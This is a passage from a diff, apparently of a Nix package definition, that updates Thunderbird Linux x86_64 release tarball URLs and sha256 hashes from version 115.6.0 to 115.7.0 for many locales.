"http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/bg/thunderbird-115.7.0.tar.bz2"; locale = "bg"; arch = "linux-x86_64"; - sha256 = "79d61375c3cb3ffb2fa1681b4713ca735debc63eee4bac4891a355089f1791e9"; + sha256 = "c92da8ab1290f5329a12fa7012a0d1b0326bfa43b536b01f686dc97f751b3723"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/br/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/br/thunderbird-115.7.0.tar.bz2"; locale = "br"; arch = "linux-x86_64"; - sha256 = "4fcbef93f3222f1fcc822d1c8b915741ea9a117dc9113ae9cd80a7d513a47a22"; + sha256 = "8ff05ea4ebbd715cdce40c5efff1ce81694831bbe0b41d0095155e4c867adc9b"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ca/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ca/thunderbird-115.7.0.tar.bz2"; locale = "ca"; arch = "linux-x86_64"; - sha256 = "52741c1815a031eae8bf44fbe7b2ab4ed102f20e74d3c5fbaf59b13ea86b71b9"; + sha256 = "9b210ff3c48526bb4fe0d436d6afbe16c2d0d629670ce5ffb0bef066621f4a1e"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/cak/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/cak/thunderbird-115.7.0.tar.bz2"; locale = "cak"; arch = "linux-x86_64"; - sha256 = "a835a155e52909edfc3457e51eea3528eb87e0c965aee37e118993181141b173"; + sha256 = "9e3c55b3c49219f77b3c081875180a4b47d962912066a1c4450db5753228922f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/cs/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/cs/thunderbird-115.7.0.tar.bz2"; locale = "cs"; arch = "linux-x86_64"; - sha256 = "859151674b39809b1b2da6e541434b618e738f60de19a4b9fcd94dae5b332a4a"; + sha256 = "d1bbe0569cb2f3a7562b17d150bf2dfca48805a634e57567c7e11bb750c49208"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/cy/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/cy/thunderbird-115.7.0.tar.bz2"; locale = "cy"; arch = "linux-x86_64"; - sha256 = "cb08c0ac49c3cfe58e14bd9fa96c3310e0e6e4fbd715398a4607ad97cc417479"; + sha256 = "b3e86253d181567ea88065a73093e59dbc6462c47d0ce103295588f801655785"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/da/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/da/thunderbird-115.7.0.tar.bz2"; locale = "da"; arch = "linux-x86_64"; - sha256 = "c27fc8ea397bcb7115ca07ef69feeb12a92eb6406f2a74ed6ada6cae6e2d8156"; + sha256 = "9a16ab856922682f56034f155b5363a745ad48e18a01cdc4590bdb486a359575"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/de/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/de/thunderbird-115.7.0.tar.bz2"; locale = "de"; arch = "linux-x86_64"; - sha256 = "34af72c8f962588a08d41169c3abb94b1562860f4ecf9848ab0e89e07529d8a0"; + sha256 = "d38742d49daa3a6d3c0a613647be48feb3a7ea51a7905fc7c81438c3fdf8b7b7"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/dsb/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/dsb/thunderbird-115.7.0.tar.bz2"; locale = "dsb"; arch = "linux-x86_64"; - sha256 = "429e7f4440cb65ca4996617b9a07264d73ee1c8e20a94a1966fbb68070ef7e41"; + sha256 = "59e86ae65167858aafb1e9a364c6e926b26bcb48b7fc4bbe8d054db6624f2a4f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/el/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/el/thunderbird-115.7.0.tar.bz2"; locale = "el"; arch = "linux-x86_64"; - sha256 = "9bf897dc0f73664506b1ce7bc1306cadf2ce3fb2ca73b893f0784967a4ee45ca"; + sha256 = "176fbbee70d2aca0e1d6183541e299c26fcff4d875093a5191a071c5cafa39bf"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/en-CA/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/en-CA/thunderbird-115.7.0.tar.bz2"; locale = "en-CA"; arch = "linux-x86_64"; - sha256 = "ff48e5422448f1af914e5b8e95f59f159ca734f26ab702483fa07ee02221e218"; + sha256 = "367c79a033ee595af8fb8e50600ac5fcb9d8c364563f8b3cc167d5b1a8fa3a77"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/en-GB/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/en-GB/thunderbird-115.7.0.tar.bz2"; locale = "en-GB"; arch = "linux-x86_64"; - sha256 = "3e11fbe6c4a951dbfc2d9b784adb4b1357360ff9fc88466b1b3d7bd8def230e4"; + sha256 = "a53c8bae8328a422e23a3ac3346ef82fb9c211ffb8ce1e41f96e6c9426a79e31"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/en-US/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/en-US/thunderbird-115.7.0.tar.bz2"; locale = "en-US"; arch = "linux-x86_64"; - sha256 = "cc0c4e1739b80d1b44e73b8c197cb1d3e00068f857c6de862cef546b39078f9a"; + sha256 = "2bc751e6fe6e8b63d53edb1a0596235cc06ad89d1bdd0e2de16d5d5948c3c95a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/es-AR/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/es-AR/thunderbird-115.7.0.tar.bz2"; locale = "es-AR"; arch = "linux-x86_64"; - sha256 = "423d90a4055d6a803924be4736f01aa979ab8536fc0a9cd00ffd79c8e748e572"; + sha256 = "c7ed62c544f0ca1c405cdf6fc69c5833b0d94896301c332b36c5901f1236af94"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/es-ES/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/es-ES/thunderbird-115.7.0.tar.bz2"; locale = "es-ES"; arch = "linux-x86_64"; - sha256 = "475ad1b68213ce8a2ad98cd41e2c790afee5f5130ff2f7fcc0a5703bc61da22b"; + sha256 = "8d81ab2fa14116873fbad2e99e2508842abef4730b91d690f51d71737f2e3bc0"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/es-MX/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/es-MX/thunderbird-115.7.0.tar.bz2"; locale = "es-MX"; arch = "linux-x86_64"; - sha256 = "96ed320d46cafdcbbbceb1c49668b1c056609eace810e0a617f9bfa994ddd76a"; + sha256 = "5eda939b29972016c6696e5e7fa43a2b5c4183ea5bd0bd1f4f2dd99119cb5c54"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/et/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/et/thunderbird-115.7.0.tar.bz2"; locale = "et"; arch = "linux-x86_64"; - sha256 = "c020d639caf49e623a0d45cab53b0133cac623ca27618897ae5ec36b8a34592d"; + sha256 = "c58f75ddd48e14ab407f73aff0377e6212b6464494e5f31db69d4d55caee2c83"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/eu/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/eu/thunderbird-115.7.0.tar.bz2"; locale = "eu"; arch = "linux-x86_64"; - sha256 = "86252f65293288719ed4567acd92e6dc9f2a8fac0e6b88e98be8d7d669f810cd"; + sha256 = "22a4b27fa459545359a2d5c27d145d24906188cb7a0284105e1ad11b0f73dc00"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/fi/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/fi/thunderbird-115.7.0.tar.bz2"; locale = "fi"; arch = "linux-x86_64"; - sha256 = "e09139970bf66503174f39a4939bfbaa85b8da898163a131a9d960d6a17a8de5"; + sha256 = "d72131bda9fadad25a2cbb4d7b6b61b8f1dabe217b313f13f779a6d5f9bb8b71"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/fr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/fr/thunderbird-115.7.0.tar.bz2"; locale = "fr"; arch = "linux-x86_64"; - sha256 = "f4481a21721f84d2efa4a899e2ea391804b38626fc8f5ff452b294cf9bc4faea"; + sha256 = "9d18a047151a4238fdd289b7a5bd53ff9ff0a93c630f951fc4e7003e755c0d42"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/fy-NL/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/fy-NL/thunderbird-115.7.0.tar.bz2"; locale = "fy-NL"; arch = "linux-x86_64"; - sha256 = "a4efd5e4cd5a15602b6782f2e85c9f141d00f6594df5d08cddbef23edfb97d29"; + sha256 = "fb80cd419de4629e89dcbaba9c985896136a333ad058cf191f7f44ba0c83006a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ga-IE/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ga-IE/thunderbird-115.7.0.tar.bz2"; locale = "ga-IE"; arch = "linux-x86_64"; - sha256 = "9874315770d2ba7ffb9cff453d3f3e2678ddc80ec7a1852764f618dfadfedc91"; + sha256 = "5a7f3564eaa756bcb62d007942d24e9608d0e0141622a8c8377a5c7b445f8d73"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/gd/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/gd/thunderbird-115.7.0.tar.bz2"; locale = "gd"; arch = "linux-x86_64"; - sha256 = "6a4f13edb5e31b39c673c662a2b83c4e14fdaca787c2941dad4dd2789e502fe3"; + sha256 = "69edffe9345a6af183eb4a74dcf9c95a4befc2b16a9742fa3fde18f8b7b9c87f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/gl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/gl/thunderbird-115.7.0.tar.bz2"; locale = "gl"; arch = "linux-x86_64"; - sha256 = "46cde24d08a2682d1bfcc7854aa837f51f71c41e35e21f0cb020f89edf516909"; + sha256 = "421043a75717e547138a2005972245797c96cf88fdaabef364ca4d9b0bf5a1e2"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/he/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/he/thunderbird-115.7.0.tar.bz2"; locale = "he"; arch = "linux-x86_64"; - sha256 = "44ede6bbdb3fc9b4a69a027411556e32eed1f6cc566b1485eb1c5f7ce6ba7016"; + sha256 = "2acc9bd99978163980f7e158ae2a313179fbda07835c18089963ceba35bb4781"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/hr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/hr/thunderbird-115.7.0.tar.bz2"; locale = "hr"; arch = "linux-x86_64"; - sha256 = "09d43fdfc6d48103679fea209b352d5e8bc6482576cb6dd0d847511f9a13df81"; + sha256 = "74754c9cc085c82dd9d37f65879ba9b88ca6af52057d0d30c98a84195b86c505"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/hsb/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/hsb/thunderbird-115.7.0.tar.bz2"; locale = "hsb"; arch = "linux-x86_64"; - sha256 = "ad302adb04144d99ac41664782fe75d585f237f4d49448c343938d5f4f123a5b"; + sha256 = "b7ae135e68fd21af6a4d6970ab5122d5c7ce2de0688e427f6480cab203d27585"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/hu/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/hu/thunderbird-115.7.0.tar.bz2"; locale = "hu"; arch = "linux-x86_64"; - sha256 = "e0ca4d0509c0d955e29e95e1eed698afcb957ef286a371e36869aef6f29509d4"; + sha256 = "2d761be46744974c1a1b929a89d73b27294e2a482904b1add7a9556152c15786"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/hy-AM/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/hy-AM/thunderbird-115.7.0.tar.bz2"; locale = "hy-AM"; arch = "linux-x86_64"; - sha256 = "58de958a95f25abcc3741c12c4b685cb2a09988f562a7d19612e961bcac68e02"; + sha256 = "3b0d3f0d40b917624c31d35095cd485d053f12b8312e4053fe47802e82023005"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/id/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/id/thunderbird-115.7.0.tar.bz2"; locale = "id"; arch = "linux-x86_64"; - sha256 = "420c848b532601e1c792205c6b7cc23df64daee47537ec420aa57e69df9a0490"; + sha256 = "7a4569879f566393054e16b010bae3d2f2d5b828695a5dfe6a6774bc537977ad"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/is/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/is/thunderbird-115.7.0.tar.bz2"; locale = "is"; arch = "linux-x86_64"; - sha256 = "68a567d9fe636c04d762bde1430cb9c1dd60924a3b24c5e1c5ac9b36d7ed66ad"; + sha256 = "9247aec277ecf41e5cdd77ab8d736761fdd7bb949b8ee1c0fdcfccd74dc8773c"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/it/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/it/thunderbird-115.7.0.tar.bz2"; locale = "it"; arch = "linux-x86_64"; - sha256 = "8a1270d03d0263e6be0a4118f5e8d5e18f5f458a0050926a0f7f576856b79ea1"; + sha256 = "d1652cfca8c5f080a307c34007c9c78d838cb1acfdc0fc9cd72f36453b018629"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ja/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ja/thunderbird-115.7.0.tar.bz2"; locale = "ja"; arch = "linux-x86_64"; - sha256 = "34deb785f2b1f122c067363780faf0734de79e0ec408e4ced086817f82085b30"; + sha256 = "68064850c1e25bc73f22a3ae0fe282f57c8a9f80f40c1e92ef509ba765c65730"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ka/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ka/thunderbird-115.7.0.tar.bz2"; locale = "ka"; arch = "linux-x86_64"; - sha256 = "9ee1b702a34ac9e5dd2f1b5d1a2f49e4a70413b2f0f964fba9b9a778391a85fa"; + sha256 = "2ea682113f30fadb5e566aba99bfd9d46af001fe96fd0d4621bebbd7d67b963f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/kab/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/kab/thunderbird-115.7.0.tar.bz2"; locale = "kab"; arch = "linux-x86_64"; - sha256 = "22eb4d3ca7c0a4864cfc85629b5213b273bc71b99d5b1f81f93fd1751d6e6968"; + sha256 = "033ff18a47270f17cc20e57cca82fecf0568fda0b27389010c3a2f205ccaf016"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/kk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/kk/thunderbird-115.7.0.tar.bz2"; locale = "kk"; arch = "linux-x86_64"; - sha256 = "01d58f41fcf51e2af5a36ae14afcbca06245f7d9397469a8955a587a07e60e90"; + sha256 = "70c28b0ceec23b1d45810a18c12b4f45f6f8678cd2b1a38909d78862449284f3"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ko/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ko/thunderbird-115.7.0.tar.bz2"; locale = "ko"; arch = "linux-x86_64"; - sha256 = "3483d1f236ae0c01e82905e3cbb2cbaaea4309d3f2d20a6314193c29e69a8f11"; + sha256 = "a5a3117e73878f651526028df9d34c559d8216b44efcf0ca3bd915e987f091d5"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/lt/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/lt/thunderbird-115.7.0.tar.bz2"; locale = "lt"; arch = "linux-x86_64"; - sha256 = "7a4ad439ed1a7569711e2f1e4a0a707b40901df2422d5284b6a7f95468f7fa2a"; + sha256 = "7db1090e0c0927cc4f08ec521b61ad963bef88a78ddc82a02470be4eecf1843d"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/lv/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/lv/thunderbird-115.7.0.tar.bz2"; locale = "lv"; arch = "linux-x86_64"; - sha256 = "8292b0ae96ac9ec242499502b4aa6dbe116900574d3fdd9389e2e4021db8eed0"; + sha256 = "e03d64a0b3f577f7711d67e596bb5d5d6cb068cbfbecdc7c54777d36c045e831"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ms/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ms/thunderbird-115.7.0.tar.bz2"; locale = "ms"; arch = "linux-x86_64"; - sha256 = "279906b0465c22131768a29ad016cc2bb8685bbc97efd9e11c9014ceb609d90e"; + sha256 = "abc09d8b1121a4d6ef749df9fef98c0a265b21b2dc2a049f4567b0d97febffd5"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/nb-NO/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/nb-NO/thunderbird-115.7.0.tar.bz2"; locale = "nb-NO"; arch = "linux-x86_64"; - sha256 = "54e648299959a5749fec47fd469fe90e6f8ba5a1cf9dfce540440ffae7e95a10"; + sha256 = "5211b558c184d656ab0ca9eeba50537183b97c83ac73e62107e24aed2aafec8a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/nl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/nl/thunderbird-115.7.0.tar.bz2"; locale = "nl"; arch = "linux-x86_64"; - sha256 = "e8737763c2bb1ff8775dc110a8c462bf6ab406cc59d2730b56449ea05a663fca"; + sha256 = "3f784ee5b0520455ad2aad31c51049cad0050fa6cb0e828522a7bb7d73addbf0"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/nn-NO/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/nn-NO/thunderbird-115.7.0.tar.bz2"; locale = "nn-NO"; arch = "linux-x86_64"; - sha256 = "aa635abbca9691b05f4e9d803019c5d0b7389906a35f95ecfd8c24cdf213ecd7"; + sha256 = "d27a47d442e550b060e39e1a3e91a0b1e8e11ead0f45e5c6f8395e020f4b2901"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/pa-IN/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/pa-IN/thunderbird-115.7.0.tar.bz2"; locale = "pa-IN"; arch = "linux-x86_64"; - sha256 = "3bc693ca9187daaf951403529db420d6e671c086b4a7e78916d4d147e659a076"; + sha256 = "622e2923c1c83e510101c2ee75119d7b082f57b8baa4a221c40763a7a112540a"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/pl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/pl/thunderbird-115.7.0.tar.bz2"; locale = "pl"; arch = "linux-x86_64"; - sha256 = "d60fbbc04b8518f61ca4c985b5e1865663e362918b770f27928de7ba915d25bf"; + sha256 = "ad244cf40a4b444e9f70d367b97aa41b25380d2b3a74e6ddbee11cd5b96e328f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/pt-BR/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/pt-BR/thunderbird-115.7.0.tar.bz2"; locale = "pt-BR"; arch = "linux-x86_64"; - sha256 = "7320320ccf2ff08c391bd86a10c4c99d5cb77cad0c6fe415e5c5431a8064a76e"; + sha256 = "3f425ff63743d4967f388c10e5f633d0422ba35bda16000198f6aeb4c4638e3f"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/pt-PT/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/pt-PT/thunderbird-115.7.0.tar.bz2"; locale = "pt-PT"; arch = "linux-x86_64"; - sha256 = "16422f49a5fb7913366d0e322e30b9bebca5300d3769c5182575b82a7395a02b"; + sha256 = "af59fbcf575bc7bdf056c2c4959461dff3409fab2fa094679b9a49425f355436"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/rm/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/rm/thunderbird-115.7.0.tar.bz2"; locale = "rm"; arch = "linux-x86_64"; - sha256 = "0a54e9e865b9898fbd33d07ae667fe60812bc064e5b4a88b5f767da91ca28e9f"; + sha256 = "cfe5722c04ca1ea80f92050149a0603399c4a2bfac4ecce636b6de9fd9efb920"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ro/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ro/thunderbird-115.7.0.tar.bz2"; locale = "ro"; arch = "linux-x86_64"; - sha256 = "6d5f82b1eb6fe3d1866fc76b84c88d3ae28034b46654452fc0dabcd9fa2c428b"; + sha256 = "735c2dc1cf68f4dea40bde5338de3f03daaac48c72d926f1222fcb38ef3a5cc3"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ru/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ru/thunderbird-115.7.0.tar.bz2"; locale = "ru"; arch = "linux-x86_64"; - sha256 = "fb776a1f5c868511bf8637685f22e76705344fd9d2067459a8dd1107277c339a"; + sha256 = "8d7e34d8c0dffede30632faab6c88df4384053b20484c887e00a70767f528a27"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/sk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/sk/thunderbird-115.7.0.tar.bz2"; locale = "sk"; arch = "linux-x86_64"; - sha256 = "bf33c801e6dcab70044718038dc54d50d9e7b057068de1995ba512465e2801b3"; + sha256 = "0ad76482313a3ef3263d74031bc5f4c4d09fed95ddfdce16799f6a158db4fb24"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/sl/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/sl/thunderbird-115.7.0.tar.bz2"; locale = "sl"; arch = "linux-x86_64"; - sha256 = "e5afce769cb574d5dd02edfd7ca312548c2fab18cc62e38a10e6775d16637698"; + sha256 = "7e480b7030e6d50871cbeefcd45be12e3d3afe2035c8e8f34391e87f0632d13b"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/sq/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/sq/thunderbird-115.7.0.tar.bz2"; locale = "sq"; arch = "linux-x86_64"; - sha256 = "ad02884d14abd534489edc8ff4d015e6921ca15016c08541a97f7ea6d5bd6178"; + sha256 = "70ce1cee01b2c229cd66612316c47da202cf40f7f16724eb3bff81b50b9f64de"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/sr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/sr/thunderbird-115.7.0.tar.bz2"; locale = "sr"; arch = "linux-x86_64"; - sha256 = "370ff6430560a6714b91ffd8d62b4ada6148ec323464256fa44e19d71028faaf"; + sha256 = "6a95ccc4d59a83ac4f9fb05a09b300bd2ba7c9ff519a93230b86cda5afe5b2fa"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/sv-SE/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/sv-SE/thunderbird-115.7.0.tar.bz2"; locale = "sv-SE"; arch = "linux-x86_64"; - sha256 = "5e2576e14dd06abe73c00dacdb303d5d0066f87c229794e3bca8a84de53b4bc4"; + sha256 = "86249dba9674e5f35cc23a69bec3f4c55f9f40259c6c53c24b8d5b9c931b0828"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/th/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/th/thunderbird-115.7.0.tar.bz2"; locale = "th"; arch = "linux-x86_64"; - sha256 = "9485d3cd7f25d020591c24b4c73b00b05bff50ea9b4cc0dc7a3f09458efc2e08"; + sha256 = "aa4717d3cf5be13d38a8c9662409cdccb3f0e75e4e0b88a6e1609466b222ed3e"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/tr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/tr/thunderbird-115.7.0.tar.bz2"; locale = "tr"; arch = "linux-x86_64"; - sha256 = "b971537c4eb887aa30ad98cb93914fc899f06c8fb7ae58c20eed6e72dcbb4034"; + sha256 = "f160d523fdc0263a596748aabf430141ad00845f76c251811ed0e1d5e4ac8804"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/uk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/uk/thunderbird-115.7.0.tar.bz2"; locale = "uk"; arch = "linux-x86_64"; - sha256 = "bad0b8865e6f2f1c4774ff37527eb88ce61d141a7c50d54015e87c12dcfe7f31"; + sha256 = "2b28cec1ddbb65812a2c2ed8c239f10ec28c89358587450d0a263c738033f7ad"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/uz/thunderbird-115.6.0.tar.bz2"; + { url = 